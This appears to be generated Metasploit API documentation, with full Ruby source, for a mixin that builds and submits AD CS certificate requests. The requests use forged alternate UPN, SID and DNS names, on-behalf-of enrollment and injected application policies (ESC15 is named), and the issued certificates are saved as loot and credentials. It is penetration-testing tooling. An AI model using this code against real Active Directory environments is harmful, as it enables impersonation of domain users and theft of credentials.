Module: Msf::Exploit::Remote::CertRequest
- Included in:
- HTTP::WebEnrollment, MsIcpr
- Defined in:
- lib/msf/core/exploit/remote/cert_request.rb
Instance Method Summary collapse
-
#create_csr(opts = {}) ⇒ Array(Rex::Proto::X509::Request, OpenSSL::PKey::RSA, Hash)
The signed CSR, the private key used to sign it, and a hash of enrollment request attributes (e.g.
CertificateTemplate,SAN); when both:pkcs12and:on_behalf_ofare supplied the first element is a Rex::Proto::CryptoAsn1::Cms::ContentInfo wrapping the inner CMC request instead. -
#get_cert_msext_sid(cert) ⇒ String?
Get the object security identifier (SID) from the certificate.
-
#get_cert_msext_upn(cert) ⇒ Array<String>
Get the User Principal Name (UPN) from the certificate.
-
#get_cert_policy_oids(cert) ⇒ Array<Rex::Proto::CryptoAsn1::ObjectId>
Get the certificate policy OIDs from the certificate.
-
#get_cert_san(cert) ⇒ Rex::Proto::CryptoAsn1::X509::SubjectAltName
Get the SubjectAltName (SAN) field from the certificate.
-
#get_cert_san_dns(cert) ⇒ Array<String>
Get the DNS hostnames from the certificate.
-
#get_cert_san_email(cert) ⇒ Array<String>
Get the E-mail addresses from the certificate.
-
#get_cert_san_uri(cert) ⇒ Array<String>
Get the URI/URL from the certificate.
-
#with_adcs_certificate_request(opts) {|csr, attributes| ... } ⇒ OpenSSL::PKCS12?
Build a CSR and coordinate the full ADCS certificate enrollment lifecycle.
Instance Method Details
#create_csr(opts = {}) ⇒ Array(Rex::Proto::X509::Request, OpenSSL::PKey::RSA, Hash)
Returns the signed CSR, the private key used to sign it, and a hash of enrollment request attributes (e.g. CertificateTemplate, SAN); when both :pkcs12 and :on_behalf_of are supplied the first element is a Rex::Proto::CryptoAsn1::Cms::ContentInfo wrapping the inner CMC request instead.
28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 |
# File 'lib/msf/core/exploit/remote/cert_request.rb', line 28 def create_csr(opts={}) rsa_key_size = opts.fetch(:rsa_key_size) { datastore['RSAKeySize'].blank? ? 2048 : datastore['RSAKeySize'].to_i } # can we double check if the key size is correct here when we are passed a private key? private_key = (opts[:private_key] || OpenSSL::PKey::RSA.new(rsa_key_size)) if private_key.n.num_bits != rsa_key_size elog("RSA key size mismatch") raise ArgumentError, "RSA key size mismatch in create_csr()" end user = opts[:username] status_msg = "Building a certificate signing request for user #{user}" status_msg << " - RSA key size: #{rsa_key_size}" alt_dns = opts.fetch(:alt_dns) { datastore['ALT_DNS'].blank? ? nil : datastore['ALT_DNS'] } alt_sid = opts.fetch(:alt_sid) { datastore['ALT_SID'].blank? ? nil : datastore['ALT_SID'] } alt_upn = opts.fetch(:alt_upn) { datastore['ALT_UPN'].blank? ? nil : datastore['ALT_UPN'] } algorithm = opts.fetch(:algorithm) { datastore['DigestAlgorithm'].blank? ? 'SHA256' : datastore['DigestAlgorithm'] } application_policies = opts.fetch(:add_cert_app_policy) { datastore['ADD_CERT_APP_POLICY'].blank? ? nil : datastore['ADD_CERT_APP_POLICY'].split(/[;,]\s*|\s+/) } cert_template = opts.fetch(:cert_template) { datastore['CERT_TEMPLATE'].blank? ? nil : datastore['CERT_TEMPLATE'] } status_msg << " - alternate DNS: #{alt_dns}" if alt_dns status_msg << " - alternate UPN: #{alt_upn}" if alt_upn status_msg << " - digest algorithm: #{algorithm}" if algorithm status_msg << " - template: #{cert_template}" if cert_template csr = Rex::Proto::X509::Request.build_csr( cn: user, private_key: private_key, dns: alt_dns, msext_sid: alt_sid, msext_upn: alt_upn, algorithm: algorithm, application_policies: application_policies ) pkcs12 = nil if opts.key?(:pkcs12) pkcs12 = opts[:pkcs12] elsif datastore['PFX'].present? pkcs12 = OpenSSL::PKCS12.new(File.binread(datastore['PFX'])) end on_behalf_of = opts.fetch(:on_behalf_of) { datastore['ON_BEHALF_OF'].blank? ? nil : datastore['ON_BEHALF_OF'] } status_msg << " - on behalf of: #{on_behalf_of}" if on_behalf_of if pkcs12 && on_behalf_of vprint_status("Building certificate request on behalf of #{on_behalf_of}") csr = Rex::Proto::X509::Request.build_on_behalf_of( csr: csr, on_behalf_of: on_behalf_of, cert: pkcs12.certificate, key: pkcs12.key, algorithm: algorithm ) end vprint_status status_msg attributes = {} attributes['CertificateTemplate'] = cert_template if cert_template san = [] san << "dns=#{alt_dns}" if alt_dns san << "upn=#{alt_upn}" if alt_upn if alt_sid san << "url=#{Rex::Proto::X509::SAN_URL_PREFIX}#{alt_sid}" san << "url=#{alt_sid}" end attributes['SAN'] = san.join('&') unless san.empty? [csr, private_key, attributes] end |
#get_cert_msext_sid(cert) ⇒ String?
Get the object security identifier (SID) from the certificate. This is a Microsoft specific extension.
246 247 248 249 250 251 252 253 254 |
# File 'lib/msf/core/exploit/remote/cert_request.rb', line 246 def get_cert_msext_sid(cert) ext = cert.extensions.find { |e| e.oid == Rex::Proto::X509::OID_NTDS_CA_SECURITY_EXT } return unless ext ntds_ca_security_ext = Rex::Proto::CryptoAsn1::NtdsCaSecurityExt.parse(ext.value_der) return unless ntds_ca_security_ext[:OtherName][:type_id].value == Rex::Proto::X509::OID_NTDS_OBJECTSID ntds_ca_security_ext[:OtherName][:value].value end |
#get_cert_msext_upn(cert) ⇒ Array<String>
Get the User Principal Name (UPN) from the certificate. This is a Microsoft specific extension.
260 261 262 263 264 265 266 267 268 |
# File 'lib/msf/core/exploit/remote/cert_request.rb', line 260 def get_cert_msext_upn(cert) return [] unless (san = get_cert_san(cert)) san[:GeneralNames].value.select do |gn| gn[:otherName][:type_id]&.value == Rex::Proto::X509::OID_NT_PRINCIPAL_NAME end.map do |gn| RASN1::Types::Utf8String.parse(gn[:otherName][:value].value, explicit: 0, constructed: true).value end end |
#get_cert_policy_oids(cert) ⇒ Array<Rex::Proto::CryptoAsn1::ObjectId>
Get the certificate policy OIDs from the certificate.
206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 |
# File 'lib/msf/core/exploit/remote/cert_request.rb', line 206 def get_cert_policy_oids(cert) all_oids = [] # ms-app-policies (CertificatePolicies) - existing handling if (ext = cert.extensions.find { |e| e.oid == 'ms-app-policies' }) begin cert_policies = Rex::Proto::CryptoAsn1::X509::CertificatePolicies.parse(ext.value_der) cert_policies.value.each do |policy_info| oid_string = policy_info[:policyIdentifier].value all_oids << (Rex::Proto::CryptoAsn1::OIDs.value(oid_string) || Rex::Proto::CryptoAsn1::ObjectId.new(oid_string)) end rescue StandardError => e vprint_error("Failed to parse ms-app-policies from certificate with subject:\"#{cert.subject.to_s}\" and issuer:\"#{cert.issuer.to_s}\". #{e.class}: #{e.}") end end # extendedKeyUsage - SEQUENCE OF OBJECT IDENTIFIER if (eku_ext = cert.extensions.find { |e| e.oid == 'extendedKeyUsage' }) begin asn1 = OpenSSL::ASN1.decode(eku_ext.value_der) # asn1 should be a Sequence whose children are OBJECT IDENTIFIER nodes if asn1.is_a?(OpenSSL::ASN1::Sequence) asn1.value.each do |node| next unless node.is_a?(OpenSSL::ASN1::ObjectId) oid_string = node.value all_oids << (Rex::Proto::CryptoAsn1::OIDs.value(oid_string) || Rex::Proto::CryptoAsn1::ObjectId.new(oid_string)) end end rescue StandardError => e vprint_error("Failed to parse extendedKeyUsage from certificate with subject:\"#{cert.subject.to_s}\" and issuer:\"#{cert.issuer.to_s}\". #{e.class}: #{e.}") end end all_oids end |
#get_cert_san(cert) ⇒ Rex::Proto::CryptoAsn1::X509::SubjectAltName
Get the SubjectAltName (SAN) field from the certificate.
274 275 276 277 278 279 |
# File 'lib/msf/core/exploit/remote/cert_request.rb', line 274 def get_cert_san(cert) ext = cert.extensions.find { |e| e.oid == 'subjectAltName' } return unless ext Rex::Proto::CryptoAsn1::X509::SubjectAltName.parse(ext.value_der) end |
#get_cert_san_dns(cert) ⇒ Array<String>
Get the DNS hostnames from the certificate.
285 286 287 288 289 290 291 292 293 |
# File 'lib/msf/core/exploit/remote/cert_request.rb', line 285 def get_cert_san_dns(cert) return [] unless (san = get_cert_san(cert)) san[:GeneralNames].value.select do |gn| gn[:dNSName].value? end.map do |gn| gn[:dNSName].value end end |
#get_cert_san_email(cert) ⇒ Array<String>
Get the E-mail addresses from the certificate.
299 300 301 302 303 304 305 306 307 |
# File 'lib/msf/core/exploit/remote/cert_request.rb', line 299 def get_cert_san_email(cert) return [] unless (san = get_cert_san(cert)) san[:GeneralNames].value.select do |gn| gn[:rfc822Name].value? end.map do |gn| gn[:rfc822Name].value end end |
#get_cert_san_uri(cert) ⇒ Array<String>
Get the URI/URL from the certificate.
313 314 315 316 317 318 319 320 321 |
# File 'lib/msf/core/exploit/remote/cert_request.rb', line 313 def get_cert_san_uri(cert) return [] unless (san = get_cert_san(cert)) san[:GeneralNames].value.select do |gn| gn[:uniformResourceIdentifier].value? end.map do |gn| gn[:uniformResourceIdentifier].value end end |
#with_adcs_certificate_request(opts) {|csr, attributes| ... } ⇒ OpenSSL::PKCS12?
Build a CSR and coordinate the full ADCS certificate enrollment lifecycle.
Constructs a CSR via #create_csr, yields it together with the enrollment attributes to the caller-supplied block, which is responsible for the actual transport (MS-ICPR, Web Enrollment, etc.). After the block returns a certificate, this method validates policy OIDs, logs certificate fields, stores the PKCS#12 as loot, and optionally records a credential.
120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 |
# File 'lib/msf/core/exploit/remote/cert_request.rb', line 120 def with_adcs_certificate_request(opts, &block) csr, private_key, attributes = create_csr(opts) vprint_status('Submitting the certificate signing request to the target...') certificate = block.call(csr, attributes) return unless certificate application_policies = opts.fetch(:add_cert_app_policy) do (datastore['ADD_CERT_APP_POLICY'].blank? ? nil : datastore['ADD_CERT_APP_POLICY'].split(/[;,]\s*|\s+/)) end policy_oids = get_cert_policy_oids(certificate) if application_policies.present? && !(application_policies - policy_oids.map(&:value)).empty? print_error('Certificate application policy OIDs were submitted, but some are missing in the response. This indicates the target has received the patch for ESC15 (CVE-2024-49019) or the template is not vulnerable.') return end if policy_oids print_status('Certificate Policies:') policy_oids.each do |oid| print_status(" * #{oid.value}" + (oid.label.present? ? " (#{oid.label})" : '')) end end unless (dns = get_cert_san_dns(certificate)).empty? print_status("Certificate DNS: #{dns.join(', ')}") end unless (email = get_cert_san_email(certificate)).empty? print_status("Certificate Email: #{email.join(', ')}") end if (sid = get_cert_msext_sid(certificate)) print_status("Certificate SID: #{sid}") end unless (upn = get_cert_msext_upn(certificate)).empty? print_status("Certificate UPN: #{upn.join(', ')}") end unless (uri = get_cert_san_uri(certificate)).empty? print_status("Certificate URI: #{uri.join(', ')}") end pkcs12 = OpenSSL::PKCS12.create('', '', private_key, certificate) upn_username = upn_domain = nil unless upn&.first.blank? info = "#{upn&.first} Certificate" # TODO: I was under the impression a single certificate can only have one UPN associated with it. # But here, `upn` can be an array of UPN's. This will need to be sorted out. upn_username, upn_domain = upn&.first&.split('@') else info = "#{opts[:domain]}\\#{opts[:username]} Certificate" end if (service = opts[:service]) # Only log a credential if we have service data to associate with it credential_data = { workspace_id: myworkspace_id, username: upn_username || opts[:username], private_type: :pkcs12, private_data: Base64.strict_encode64(pkcs12.to_der), private_metadata: { adcs_ca: datastore['CA'], adcs_template: opts.fetch(:cert_template) { datastore['CERT_TEMPLATE'].blank? ? nil : datastore['CERT_TEMPLATE'] } }, realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, realm_value: upn_domain || opts[:domain], origin_type: :service, service: service, module_fullname: fullname } create_credential(credential_data) end stored_path = store_loot('windows.ad.cs', 'application/x-pkcs12', rhost, pkcs12.to_der, 'certificate.pfx', info) print_status("Certificate stored at: #{stored_path}") pkcs12 end |